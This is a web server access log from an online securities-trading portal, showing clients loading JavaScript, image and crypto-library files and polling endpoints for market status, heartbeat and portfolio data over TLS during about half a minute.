[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940279621 HTTP/1.1" -
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767940295756 HTTP/1.1" 3188
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 294
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 208
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:26:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940288822 HTTP/1.1" -
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940298221 HTTP/1.1" -
[09/Jan/2026:14:26:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1688
[09/Jan/2026:14:26:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940284747 HTTP/1.1" -
[09/Jan/2026:14:26:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940303245 HTTP/1.1" -
[09/Jan/2026:14:26:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940293853 HTTP/1.1" -
[09/Jan/2026:14:27:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940289861 HTTP/1.1" -
[09/Jan/2026:14:27:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940308276 HTTP/1.1" -
[09/Jan/2026:14:27:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940298944 HTTP/1.1" -
[09/Jan/2026:14:27:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940295045 HTTP/1.1" -
[09/Jan/2026:14:27:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:27:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:27:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940313342 HTTP/1.1" -
[09/Jan/2026:14:27:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940304013 HTTP/1.1" -
[09/Jan/2026:14:27:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:27:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940300151 HTTP/1.1" -
[09/Jan/2026:14:27:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940318365 HTTP/1.1" -
[09/Jan/2026:14:27:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940309049 HTTP/1.1" -
[09/Jan/2026:14:27:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940305191 HTTP/1.1" -
[09/Jan/2026:14:27:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940323422 HTTP/1.1" -
[09/Jan/2026:14:27:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940314145 HTTP/1.1" -
